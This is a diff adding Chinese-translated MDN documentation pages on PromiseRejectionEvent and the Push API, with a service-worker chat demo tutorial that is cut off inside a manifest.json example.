在一个JavaScript {{jsxref("Promise")}} 被 reject 时触发,在 reject 后由promise的 reject 处理函数处理。 
+
+ +

例子

+ +
window.onunhandledrejection = function(e) {
+  console.log(e.reason);
+}
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#promiserejectionevent', 'PromiseRejectionEvent')}}{{ Spec2('HTML WHATWG') }}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
功能ChromeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持49{{CompatNo}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
功能AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatNo}}{{CompatNo}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] 在 Firefox 里,有实现这个接口但是默认是禁用的。要打开它的话,去到about:config 将 dom.promise_rejection_events.enabled 启用为真。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/promiserejectionevent/promise/index.html b/files/zh-cn/web/api/promiserejectionevent/promise/index.html new file mode 100644 index 0000000000..d539826ce8 --- /dev/null +++ b/files/zh-cn/web/api/promiserejectionevent/promise/index.html @@ -0,0 +1,66 @@ +--- +title: PromiseRejectionEvent.promise +slug: Web/API/PromiseRejectionEvent/promise +translation_of: Web/API/PromiseRejectionEvent/promise +--- +
{{APIRef("HTML DOM") }}
+ +

 {{domxref("PromiseRejectionEvent")}}事件对象的promise属性是只读的,表明Promise被reject的原因。您可以通过检查{{domxref("PromiseRejectionEvent.reason")}}来了解Promise为什么被reject。

+ +

Syntax

+ +
promise = PromiseRejectionEvent.promise
+ +

Value

+ +

一个被reject的,并且错误未被处理的{{jsxref("Promise")}} 

+ +

Examples

+ +

下面的例子监听了未被处理的promise,如果{{domxref("PromiseRejectionEvent.reason", "reason")}} 是一个对象,并且其code属性包含了一段文本“Module not read.”,一个空闲的回调函数被声明,当任务执行错误时会进行重试

+ +

{{domxref("event.preventDefault()")}} 用来表明该promise已被处理

+ +
window.onunhandledrejection = function(event) {
+  if (event.reason.code && event.reason.code == "Module not ready") {
+    window.requestIdleCallback(function(deadline) {
+      loadModule(event.reason.moduleName)
+        .then(performStartup);
+    });
+    event.preventDefault();
+  }
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-promiserejectionevent-promise', 'PromiseRejectionEvent.promise')}}{{ Spec2('HTML WHATWG') }}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.PromiseRejectionEvent.promise")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/promiserejectionevent/promiserejectionevent/index.html b/files/zh-cn/web/api/promiserejectionevent/promiserejectionevent/index.html new file mode 100644 index 0000000000..6d6e1e3d92 --- /dev/null +++ b/files/zh-cn/web/api/promiserejectionevent/promiserejectionevent/index.html @@ -0,0 +1,114 @@ +--- +title: PromiseRejectionEvent.PromiseRejectionEvent() +slug: Web/API/PromiseRejectionEvent/PromiseRejectionEvent +translation_of: Web/API/PromiseRejectionEvent/PromiseRejectionEvent +--- +
{{APIRef("HTML DOM")}}
+ +

PromiseRejectionEvent() 构造器返回一个新创建的 {{domxref("PromiseRejectionEvent")}},代表一个JavaScript {{jsxref("Promise")}}被rejected时触发的事件。

+ +

语法

+ +
new PromiseRejectionEvent(type, {
+  promise: somePromise,
+  reason : someValue
+});
+
+ +

参数

+ +

PromiseRejectionEvent()构造函数继承了{{domxref("Event.Event", "Event()")}}的参数。

+ +
+
type
+
一个代表PromiseRejectionEvent的类型名称的字符串。这是区分大小写的同时必须是{{event("rejectionhandled", '"rejectionhandled"')}} 或者 {{event("unhandledrejection", '"unhandledrejection"')}} 其中之一。
+
promise
+
代表被 rejected 的{{jsxref("Promise")}}。
+
reason
+
代表 promise 被 rejected的原因的值或者对象{{jsxref("Object")}} 。
+
+ +

例子

+ +
var myRejectionEvent = new PromiseRejectionEvent('unhandledrejection', {
+  promise : myPromise,
+  reason : 'My house is on fire'
+});
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#promiserejectionevent', 'PromiseRejectionEvent()')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support49{{CompatNo}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] 在Firefox里,实现了这个构造函数但是默认是禁用的。为了打开它,需去到 about:config 然后将 dom.promise_rejection_events.enabled 设置启用为真。

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/push_api/index.html b/files/zh-cn/web/api/push_api/index.html new file mode 100644 index 0000000000..d19ad36263 --- /dev/null +++ b/files/zh-cn/web/api/push_api/index.html @@ -0,0 +1,190 @@ +--- +title: 开发式平台 +slug: Web/API/Push_API +tags: + - Push + - Service Workers + - 参考 + - 实验性 + - 应用程序编程接口 + - 推送 + - 着陆页 + - 通知 +translation_of: Web/API/Push_API +--- +

{{DefaultAPISidebar("Push API")}}{{SeeCompatTable}}

+ +

Push API 给与了Web应用程序接收从服务器发出的推送消息的能力,无论Web应用程序是否在用户设备前台,甚至刚加载完成。这样,开发人员就可以向用户投放异步通知和更新,从而让用户能更及时地获取新内容。

+ +
+

注意: 本文档涵盖了W3C Push API规范; 如果您正在寻找有关Firefox OS专有推送机制的文档,请参阅 Simple Push.

+
+ +

Push 的概念及用法

+ +

对于一个应用来说,要想要接收到推送消息,需要有一个被激活的 service worker。当 service worker 处于激活状态时,可以使用 {{domxref("PushManager.subscribe()")}} 来订阅推送通知。

+ +

{{domxref("PushSubscription")}} 的结果包含了应用需要发送的推送消息的所有信息:端点及发送数据需要的加密密钥。

+ +

Service worker 会在必要的时候启动并接收接下来的推送消息,传递给 {{domxref("ServiceWorkerGlobalScope.onpush")}} 事件句柄。该方法允许将接收到的推送消息使用在应用上,例如通过显示一条通知(使用 {{domxref("ServiceWorkerRegistration.showNotification()")}})

+ +

每一个订阅对 service worker 来说都是唯一的。同时订阅的端点也是一个唯一的 功能性 URL:端点的信息是给应用发送信息的全部必要条件。所以端点地址需要保证隐私,否则其他应用也可以向你的应用发送消息。

+ +

激活一个 service worker 来提供推送消息会导致资源消耗的增加,尤其是电池。不同的浏览器对此有不同的方案——目前为止还没有标准的机制。Firefox 允许对发送给应用的推送消息做数量限制(配额)。该限制会在站点每一次被访问之后刷新。相比之下,Chrome 选择不做限制,但要求站点在每一次消息到达后都显示通知,这样可以让用户确认他们仍希望接收消息并确保用户可见性。

+ +

 

+ +

 

+ +
+

Note: 从Gecko 44开始,当新的通知触发时,每个应用程序允许的推送消息配额不会增加,而另一个仍然可见,持续三秒钟。 这可以处理收到通知突发的情况,而不是所有通知都会产生可见通知。

+
+ +
+

Note:早于52的Chrome版本要求您在Google Cloud Messaging上设置项目以发送推送消息,并在发送推送通知时使用关联的项目编号和API密钥。 它还需要一个应用程序清单,其中包含一些使用此服务的特殊参数。

+
+ +

 

+ +

 

+ +

 

+ +

接口

+ +
+
{{domxref("PushEvent")}}
+
Represents a push action sent to the global scope of a {{domxref("ServiceWorker")}}. It contains information sent from an application to a {{domxref("PushSubscription")}}.
+
{{domxref("PushManager")}}
+
Provides a way to receive notifications from third-party servers as well as request URLs for push notifications. This interface has replaced functionality offered by the obsolete {{domxref("PushRegistrationManager")}} interface.
+
{{domxref("PushMessageData")}}
+
Provides access to push data sent by a server, and includes methods to manipulate the received data.
+
{{domxref("PushSubscription")}}
+
Provides a subcription's URL endpoint and allows unsubscription from a push service.
+
+ +

Service worker additions

+ +

The following additions to the Service Worker API have been specified in the Push API spec to provide an entry point for using Push messages. They also monitor and respond to push and subscription change events.

+ +
+
{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}
+
Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status. This is the entry point into using Push messaging.
+
{{domxref("ServiceWorkerGlobalScope.onpush")}}
+
An event handler fired whenever a {{Event("push")}} event occurs; that is, whenever a server push message is received.
+
{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}}
+
An event handler fired whenever a {{Event("pushsubscriptionchange")}} event occurs; for example, when a push subscription has been invalidated, or is about to be invalidated (e.g. when a push service sets an expiration time.)
+
+ +

示例

+ +

Mozilla's ServiceWorker Cookbook 包含很多关于Push有用的示例.

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Push API")}}{{Spec2("Push API")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42.0)}}{{CompatGeckoDesktop(44.0)}}[1][3]{{CompatNo}}[2]{{CompatUnknown}}{{CompatUnknown}}
{{domxref("PushEvent.data")}},
+ {{domxref("PushMessageData")}}
{{CompatNo}}{{CompatGeckoDesktop(44.0)}}[3]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(48.0)}}[4]{{CompatNo}}{{CompatUnknown}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(42.0)}}
{{domxref("PushEvent.data")}},
+ {{domxref("PushMessageData")}}
{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(48.0)}}[4]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+ + + +

 

+ +

另见

+ +

 

+ + diff --git a/files/zh-cn/web/api/push_api/using_the_push_api/index.html b/files/zh-cn/web/api/push_api/using_the_push_api/index.html new file mode 100644 index 0000000000..37cbbc9e4e --- /dev/null +++ b/files/zh-cn/web/api/push_api/using_the_push_api/index.html @@ -0,0 +1,423 @@ +--- +title: Using the Push API +slug: Web/API/Push_API/Using_the_Push_API +tags: + - Push + - Push API + - Service Workers + - Using the Push API +translation_of: Web/API/Push_API +--- +

W3C Push API 为开发人员在Web应用程序中提供了一些令人兴奋的新功能:本文提供了一个简单的演示,以获取Push通知的设置和运行。

+ +

在任何时候——不论这一应用是否处于激活状态——从服务器向客户端推送消息或者通知的能力,是一种原生应用已经享受了一段时间的能力。现在 Web 应用也拥有了这一能力。桌面系统上的 Firefox 43+ 和 Chrome 42+ 已经支持 Push 的大部分功能,移动平台也很可能在不久的将来提供支持。 {{domxref("PushMessageData")}} 当前只在 Firefox Nightly (44+) 中提供实验性的支持,并且这一实现也可能会变更。

+ +
+

Note: Firefox OS 的早期版本使用了这一 API 的一个 proprietary 版本,叫做 Simple Push ,现在已经被 Push API 标准废弃。

+
+ +

Demo: the basis of a simple chat server app

+ +

我们创建的这一 demo 是一个简单的聊天应用。它提供了一个表单,用来输入聊天内容,还有一个按钮,用来订阅(subscribe)推送的消息。按下按钮后,你将订阅这一消息推送服务,服务器会记录你的信息,同时当前所有的订阅者会收到一个推送消息,告诉他们有人订阅。

+ +

此时,新订阅者的名字会出现在订阅者列表上,同时界面上会出现一个文本域和一个提交按钮,允许订阅者发送消息。

+ +

+ +

要运行这一 demo,请参阅 push-api-demo README。请注意,想要在 Chrome 中使用这一应用并且以一个更合理的方式运行,服务器端还需要大量的工作。然而,推送的细节解释起来特别麻烦,我们先概览这个推送接口是怎么运作的,然后再回来详细了解。

+ +

Technology overview

+ +

这一部分提供了这一例子中用到的技术的概览。

+ +

Web Push 消息是 service workers 技术族的一部分;特别的,一个service worker想要接收消息,就必须在一个页面上被激活。 在 service worker 接收到推送的消息后,你可以决定如何显示这一消息。你可以:

+ + + +

通常这两者可以结合使用,下面的 demo 显示了两者的特点。

+ +
+

注:你需要在服务器端部署某种形式的代码来处理endpoint数据的加密和发送推送消息的请求。 在我们的Demo里,我们把那些代码放进了一个快速、劣质的服务器代码(a quick-and-dirty server )里,部署在 NodeJS 上。

+
+ +

service worker 需要订阅推送消息服务。在订阅服务时,每一个会话会有一个独立的端点(endpoint)。订阅对象的属性({{domxref("PushSubscription.endpoint")}}) 即为端点值。将端点发送给服务器后,服务器用这一值来发送消息给会话的激活的 service worker。不同浏览器需要用不同的推送消息服务器。

+ +

加密(Encryption)

+ +
+

Note: For an interactive walkthrough, try JR Conlin's Web Push Data Encryption Test Page.

+
+ +

在通过推送消息发送数据时,数据需要进行加密。数据加密需要通过 {{domxref("PushSubscription.getKey()")}} 方法产生的一个公钥。这一方法在服务器端运行,通过复杂的密码学机制来生成公钥,详情可参阅 Message Encryption for Web Push 。以后可能会有更多用于处理推送消息加密的库出现,在这一 demo 中,我们使用 Marco Castelluccio's NodeJS web-push library.

+ +
+

Note: There is also another library to handle the encryption with a Node and Python version available, see encrypted-content-encoding.

+
+ +

Push workflow summary

+ +

这里我们总结一下推送消息的实现。在之后的章节中你可以找到这一 demo 代码的更多细节。

+ +
    +
  1. 请求 web 通知及你所使用的其他功能的权限。
  2. +
  3. 调用 {{domxref("ServiceWorkerContainer.register()")}} ,注册一个 service worker。
  4. +
  5. 使用 {{domxref("PushManager.subscribe()")}} 订阅推送消息。
  6. +
  7. 取得与订阅相关联的 endpoint ({{domxref("PushSubscription.endpoint")}}),并且生成一个客户公钥({{domxref("PushSubscription.getKey()")}}) 。注意 getKey() 是试验性的,只在 Firefox 有效。
  8. +
  9. 将详细信息发送给服务器,服务器可以用这些信息来发送推送消息。这一 demo 使用 {{domxref("XMLHttpRequest")}} ,但你也可以使用 Fetch
  10. +
  11. 如果你使用 Channel Messaging API 来和 service worker 通信,则创建一个新的 message channel ({{domxref("MessageChannel.MessageChannel()")}}) ,并且在 service worker 调用 {{domxref("Worker.postMessage()")}} ,将 port2 发送给 service worker ,以建立 communication channel 。你应该设置一个 listener 来响应从 service worker 发来的消息。
  12. +
  13. 在服务器端,存储端点以及其他在发送推送消息给订阅者时需要的信息(我们使用一个简单的文本文件,但你可以使用数据库,或者其他你喜欢的方式)。在生产环境中,请保护好这些信息,以防恶意的攻击者用这些信息给订阅者推送垃圾消息。
  14. +
  15. 要发送一个推送消息,你需要向端点 URL 发送一个 HTTP POST 。这一请求需要包括一个 TTL 头,用来规定用户离线时消息队列的最大长度。要在请求中包括数据,你需要使用客户公钥进行加密。在我们的 demo 中,我们使用 web-push 模块来处理困难的部分。
  16. +
  17. 在你的 service worker 中,设置一个 push 事件句柄来响应接收到的推送消息。 +
      +
    1. 如果你想要将一个信道消息发送回主 context(看第6步),你需要先取得之前发送给 service worker 的  port2 的引用 ({{domxref("MessagePort")}}) 。这个可以通过传给 onmessage handler ({{domxref("ServiceWorkerGlobalScope.onmessage")}}) 的{{domxref("MessageEvent")}} 对象取得。 具体地说,是 ports 属性的索引 0 。 之后你可以用 {{domxref("MessagePort.postMessage()")}} 来向 port1 发送消息 。
    2. +
    3. 如果你想要使用系统通知,可以调用 {{domxref("ServiceWorkerRegistration.showNotification()")}} 。注意,在我们的代码中,我们将其运行在一个 {{domxref("ExtendableEvent.waitUntil()")}} 方法中——这样做将事件的 生命周期(lifetime)扩展到了通知被处理后,使得我们可以确认事情像我们期望的那样进行。
    4. +
    +
  18. +
+ +

Building up the demo

+ +

让我们浏览一下 demo 的代码,理解一下它是如何工作的。

+ +

The HTML and CSS

+ +

这个 demo 的 HTML 和 CSS 没有什么需要特别留意的地方。初始化时,HTML包含一个简单的表单、一个按钮和两个列表。按钮用来订阅,两个列表分别显示订阅者和聊天消息。订阅之后,会出现用来输入聊天消息的控件。

+ +

为了对不干扰 Push API 的理解,CSS被设计得非常简单。

+ +

The main JavaScript file

+ +

JavaScript 明显更加重要。让我们看看主 JS 文件。

+ +

Variables and initial setup

+ +

开始时,我们声明一些需要使用的变量:

+ +
var isPushEnabled = false;
+var useNotifications = false;
+
+var subBtn = document.querySelector('.subscribe');
+var sendBtn;
+var sendInput;
+
+var controlsBlock = document.querySelector('.controls');
+var subscribersList = document.querySelector('.subscribers ul');
+var messagesList = document.querySelector('.messages ul');
+
+var nameForm = document.querySelector('#form');
+var nameInput = document.querySelector('#name-input');
+nameForm.onsubmit = function(e) {
+  e.preventDefault()
+};
+nameInput.value = 'Bob';
+ +

首先,是两个布尔变量,一个用来记录 Push 是否被订阅,一个用来记录是否有通知的权限。

+ +

其次,是订阅/取消订阅 {{htmlelement("button")}} 的引用,以及发送消息按钮的引用和输入的引用(订阅成功之后按钮和输入才会创建)。

+ +

接下来,是页面上的三个{{htmlelement("div")}} 元素的引用,在需要插入元素时会用到(比如创建 Send Chat Message 按钮,或者 Messages 列表中增加聊天消息时)。

+ +

最后,是 name selection 表单和 {{htmlelement("input")}} 元素的引用。我们给 input 一个默认值,并且使用 preventDefault() 方法,让按下回车时不会自动提交表单。

+ +

之后,我们通过 {{domxref("Notification.requestPermission","requestPermission()")}} 请求发送web通知的权限:

+ +
Notification.requestPermission();
+ +

onload 时我们运行一段代码,让应用开始初次加载时的初始化过程。首先我们给 subscribe/unsubscribe 按钮添加 click event listener ,让这一按钮在已经订阅(isPushEnabled为真)时执行 unsubscribe() 函数,否则执行 subscribe()

+ +
window.addEventListener('load', function() {
+  subBtn.addEventListener('click', function() {
+    if (isPushEnabled) {
+      unsubscribe();
+    } else {
+      subscribe();
+    }
+  });
+ +

之后,我们检查 service workers 是否被支持。如果支持,则用 {{domxref("ServiceWorkerContainer.register()")}} 注册一个 service worker 并且运行 initialiseState() 函数。若不支持,则向控制台输出一条错误信息。

+ +
  // Check that service workers are supported, if so, progressively
+  // enhance and add push messaging support, otherwise continue without it.
+  if ('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('sw.js').then(function(reg) {
+      if(reg.installing) {
+        console.log('Service worker installing');
+      } else if(reg.waiting) {
+        console.log('Service worker installed');
+      } else if(reg.active) {
+        console.log('Service worker active');
+      }
+
+      initialiseState(reg);
+    });
+  } else {
+    console.log('Service workers aren\'t supported in this browser.');
+  }
+});
+
+ +

接下来是 initialiseState() 函数。查看 initialiseState() source on Github 可获得有注释的完整源码(简洁起见,此处省略)。

+ +

initialiseState() 首先检查 service workers 是否支持 notifications ,如果支持则将 useNotifications 变量设为真。之后检查用户是否允许 said notifications , push messages 是否支持,并分别进行设置。

+ +

最后,使用 {{domxref("ServiceWorkerContainer.ready()")}} 来检测 service worker 是否被激活并开始运行,会返回一个Promise对象。当这一 promise 对象 resolve 时,我们访问 {{domxref("ServiceWorkerRegistration.pushManager")}} 属性,得到一个 {{domxref("PushManager")}} 对象,再调用该对象的 {{domxref("PushManager.getSubscription()")}}方法,最终获得用来推送消息的订阅对象。当第二个 promise 对象 resolve 时,我们启用 subscribe/unsubscribe 按钮(subBtn.disabled = false;),并确认订阅对象。

+ +

这样做了之后,订阅的准备工作已经完成了。即使这一应用并没有在浏览器中打开, service worker 也依然可能在后台处于激活状态。如果我们已经订阅,则对UI进行更新,修改按钮的标签,之后将 isPushEnabled 设为真,通过 {{domxref("PushSubscription.endpoint")}} 取得订阅的端点,通过 {{domxref("PushSubscription.getKey()")}} 生成一个公钥,调用 updateStatus() 方法与服务器进行通信。

+ +

此外,我们通过 {{domxref("MessageChannel.MessageChannel()")}} 得到一个新的 {{domxref("MessageChannel")}} 对象,并通过 {{domxref("ServiceworkerRegistration.active")}} 得到一个激活的 service worker 的引用,然后通过 {{domxref("Worker.postMessage()")}} 在主浏览器 context 和 service worker 间建立起一个信道。浏览器 context 接收 {{domxref("MessageChannel.port1")}} 中的消息。当有消息到来时,我们使用 handleChannelMessage() 方法来决定如何处理数据(参阅{{anch("Handling channel messages sent from the service worker")}})。

+ +

订阅和取消订阅(Subscribing and unsubscribing)

+ +

现在把我们的注意力转到 subscribe() 和 unsubscribe() 函数上,它们用来订阅或取消订阅 来自服务器的通知。

+ +

在订阅的时候,我们使用 {{domxref("ServiceWorkerContainer.ready()")}}方法再一次确认service worker处于激活状态并且可以使用了。当 promise 成功执行,我们用{{domxref("PushManager.subscribe()")}}方法订阅服务。如果订阅成功,我们会得到一个 {{domxref("PushSubscription")}} 对象,它携带了endpoint信息 ,并且可以产生(generate)一个公钥的方法 (再多说一点,{{domxref("PushSubscription.endpoint")}}属性和{{domxref("PushSubscription.getKey()")}}方法),我们要把这两个信息传递给updateStatus() 函数,同时还要传递第三个信息——更新状态的类型(订阅还是不订阅),让它能够把这些必要的细节传递给服务器。

+ +

我们也需要更新我们应用的状态 (设置 isPushEnabledtrue) 和 UI (激活订阅或者不订阅的按钮,同时改变标签的显示状态,让用户下一次点击按钮的时候变成不订阅的状态或者订阅的状态。)

+ +

不订阅 unsubscribe() 函数在结构上和订阅函数相识,然而基本上它们做的是完全相反的事; 最值得注意的不同是得到当前订阅对象是使用{{domxref("PushManager.getSubscription()")}}方法,而且使用{{domxref("PushSubscription.unsubscribe()")}}方法获得的promise对象。

+ +

在两个函数中也提供了适当的错误处理函数。

+ +

为了节省时间,我们只在下面展示subscribe()的代码;查看全部请点击 subscribe/unsubscribe code on Github.

+ +
function subscribe() {
+  // Disable the button so it can't be changed while
+  // we process the permission request
+
+  subBtn.disabled = true;
+
+  navigator.serviceWorker.ready.then(function(reg) {
+    reg.pushManager.subscribe({userVisibleOnly: true})
+      .then(function(subscription) {
+        // The subscription was successful
+        isPushEnabled = true;
+        subBtn.textContent = 'Unsubscribe from Push Messaging';
+        subBtn.disabled = false;
+
+        // Update status to subscribe current user on server, and to let
+        // other users know this user has subscribed
+        var endpoint = subscription.endpoint;
+        var key = subscription.getKey('p256dh');
+        updateStatus(endpoint,key,'subscribe');
+      })
+      .catch(function(e) {
+        if (Notification.permission === 'denied') {
+          // The user denied the notification permission which
+          // means we failed to subscribe and the user will need
+          // to manually change the notification permission to
+          // subscribe to push messages
+          console.log('Permission for Notifications was denied');
+
+        } else {
+          // A problem occurred with the subscription, this can
+          // often be down to an issue or lack of the gcm_sender_id
+          // and / or gcm_user_visible_only
+          console.log('Unable to subscribe to push.', e);
+          subBtn.disabled = false;
+          subBtn.textContent = 'Subscribe to Push Messaging';
+        }
+      });
+  });
+}
+ +

更新应用和服务器的状态

+ +

接下来的一个主要的JavaScript函数就是updateStatus(),当订阅和取消订阅的时候,它负责更新UI中与服务器沟通的信息并发送状态更新的请求给服务器。

+ +

这个函数做了三件事当中的哪一件事,取决于下面赋值给statusType的类型:

+ + + +

再多说一句,为了简介这里不会展示全部的代码。检查全部代码点击: full updateStatus() code on Github.

+ +

处理在service worker中发送过来的channel message

+ +

正如刚才我们提到的,当我们接收到从service worker发送的channel message 时,我们的 handleChannelMessage() 函数才会去执行它。 我们用{{domxref("channel.port1.onmessage")}}事件处理函数去处理{{event("message")}} event, :

+ +
channel.port1.onmessage = function(e) {
+  handleChannelMessage(e.data);
+}
+ +

这个函数会在service worker中发送信息给页面的时候在页面中执行(This occurs when the service worker sends a channel message over)。

+ +

 handleChannelMessage() 函数如下:

+ +
function handleChannelMessage(data) {
+  if(data.action === 'subscribe' || data.action === 'init') {
+    var listItem = document.createElement('li');
+    listItem.textContent = data.name;
+    subscribersList.appendChild(listItem);
+  } else if(data.action === 'unsubscribe') {
+    for(i = 0; i < subscribersList.children.length; i++) {
+      if(subscribersList.children[i].textContent === data.name) {
+        subscribersList.children[i].parentNode.removeChild(subscribersList.children[i]);
+      }
+    }
+    nameInput.disabled = false;
+  } else if(data.action === 'chatMsg') {
+    var listItem = document.createElement('li');
+    listItem.textContent = data.name + ": " + data.msg;
+    messagesList.appendChild(listItem);
+    sendInput.value = '';
+  }
+}
+ +

这个函数会做什么取决于传入的action参数的赋值:

+ + + +
+

注:  我们需要在更新DOM之前传递需要的数据给主页面(main context), 因为service worker不能操作DOM。你在使用前一定要知道service worker的一些限制。阅读 Using Service Workers 获取更多细节.

+
+ +

发送聊天信息

+ +

当‘Send Chat Message‘ 按钮被点击后,相关联的文本域的内容就作为聊天内容被发送出去。这个由 sendChatMessage() 函数处理(再多说一句,为了简洁就不展示了). 这个和 updateStatus() 的不同之处也是差不多的。 (查看 {{anch("Updating the status in the app and server")}}) — 我们获得 endpoint 和 public key 是来自一个 {{domxref("PushSubscription")}} 对象, 这个对象又是来自于 {{domxref("ServiceWorkerContainer.ready()")}} 方法和{{domxref("PushManager.subscribe()")}}方法。它们(endpoint、public key)被传递进一个字面量对象里面( in a message object),同时含有订阅用户的名字,聊天信息,和chatMsg的statusType,然后通过{{domxref("XMLHttpRequest")}}对象发送出去的,。

+ +

服务端(The Server)

+ +

正如我们上面提到的,我们需要一个服务端的容器去存储订阅者的信息,并且还要在状态更新时发送推送消息给客户端。 我们已经用一种hack的方式把一些需要的东西放到了一个快速-劣质(quick-and-dirty)的NodeJS 服务端上(server.js),用于处理来自客户端JavaScript的异步请求。

+ +

它用一个文本文件 (endpoint.txt)去存储订阅者的信息;这个文件一开始是空的(empty)。 有四种不同类型的请求,分别由被传输过来的对象中的statusType决定;这些在客户端通俗易懂的的状态类型同样也适用于服务端,因为服务端也有相同的状态。下面是这四个个状态在服务端代表的各自的含义。

+ + + +

其他需要注意的东西:

+ + + +

The service worker

+ +

现在让我们来看看服务工作者代码(sw.js),它响应由{{Event("push")}}事件表示的推送消息。 这些通过({{domxref("ServiceWorkerGlobalScope.onpush")}})事件处理程序在服务工作人员的范围内处理; 它的工作就是为每个收到的消息做出回应。 我们首先通过调用{{domxref("PushMessageData.json()")}}将收到的消息转换回对象。然后,通过查看这个对象的action属性,就能知道这个推送消息的类型:

+ + + +
self.addEventListener('push', function(event) {
+  var obj = event.data.json();
+
+  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
+    fireNotification(obj, event);
+    port.postMessage(obj);
+  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
+    port.postMessage(obj);
+  }
+});
+ +

下一步, 让我们看看 fireNotification() 函数的代码 (它真的太他妈简单了).

+ +
function fireNotification(obj, event) {
+  var title = 'Subscription change';
+  var body = obj.name + ' has ' + obj.action + 'd.';
+  var icon = 'push-icon.png';
+  var tag = 'push';
+
+  event.waitUntil(self.registration.showNotification(title, {
+    body: body,
+    icon: icon,
+    tag: tag
+  }));
+}
+ +

我们先在这里列出通知消息框所需要的资源:标题、主体内容、图标。然后我们通过 {{domxref("ServiceWorkerRegistration.showNotification()")}} 方法把这个通知发送出去,同时提供一个"push"给tag属性,表示这是一个推送消息,以便我们能够在全部的通知消息中找到(identify)这个推送消息。 当我们成功发送一条推送消息,它可能会在用户对应的电脑或者设备上展示一个系统通知对话框,在不同的设备上通知对话框的外观可能是不一样的(下面的这张图片展示的是Mac OSX系统上的通知对话框)。

+ +

+ +

注意,我们做的这些都包裹在{{domxref("ExtendableEvent.waitUntil()")}} 方法里;这是为了让ServiceWorker在发送通知消息的过程中依然保持活动,知道消息发送完成。 waitUntil() 会延长service worker的生命周期至(这个周期里)所有活动都已经完成。

+ +
+

Note: Web notifications from service workers were introduced around Firefox version 42, but are likely to be removed again while the surrounding functionality (such as Clients.openWindow()) is properly implemented (see {{bug(1203324)}} for more details.)

+
+ +

处理推送订阅过早失效(Handling premature subscription expiration)

+ +

有时候,推送订阅会过早失效,而不会调用{{domxref("PushSubscription.unsubscribe()")}} 。例如,当服务器过载或长时间处于脱机状态时,可能会发生这种情况。这是高度依赖于服务器的,所以确切的行为很难预测。 在任何情况下,您都可以通过查看{{Event("pushsubscriptionchange")}} 事件来处理此问题,您可以通过提供{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}} 事件处理程序来侦听此事件;这个事件只会在这种情况下才会被触发。

+ +
self.addEventListener('pushsubscriptionchange', function() {
+  // do something,一般来说都会在这里重新订阅,
+  // 并通过XHR或者Fetch发送新的订阅信息回服务器
+});
+ +

注意,我们在demo里没有覆盖这种情况,因为订阅端点(subscription ending)作为一个简单的聊天服务器并不是什么难事。但是对于更复杂的示例,您可能需要重新订阅(resubscribe )用户。

+ +

(让Chrome支持的额外步骤)Extra steps for Chrome support

+ +

为了让应用也能够在Chrome上面运行,我们需要一些额外的步骤,因为在Chrome上,现在需要依赖谷歌云消息推送(Google's Cloud Messaging) 服务才能正常工作。

+ +

配置谷歌云消息推送(Setting up Google Cloud Messaging)

+ +

按照以下步骤配置:

+ +
    +
  1. 跳转到 Google Developers Console  然后创建一个新项目。
  2. +
  3. 进入你项目主页(例如:我们的示例是在 https://console.developers.google.com/project/push-project-978), 然后 +
      +
    1. 在你的应用选项里打开 Google APIs
    2. +
    3. 在下一屏,在移动API那一部分下面点击“Cloud Messaging for Android” 。
    4. +
    5. 点击开启API按钮。
    6. +
    +
  4. +
  5. 现在你需要记下你的项目编号和API key,因为待会儿你会用到他们。 它们在这些地方: +
      +
    1. 项目编号: 点击左侧的主页;项目编号在你的项目主页上方很容易看见的位置。
    2. +
    3. API key: 点击左边菜单里的证书(Credentials );API key 能够在这个页面找到。
    4. +
    +
  6. +
+ +

manifest.json

+ +

你需要在你的应用里包含Google应用风格的 manifest.json ,这里面的 gcm_sender_id 参数需要设置为你的项目编号。下面是一个简单的示例(manifest.json):

+ +
{
+  "name": "Push Demo",
+  "short_name": "Push Demo",
+  "icons": [{
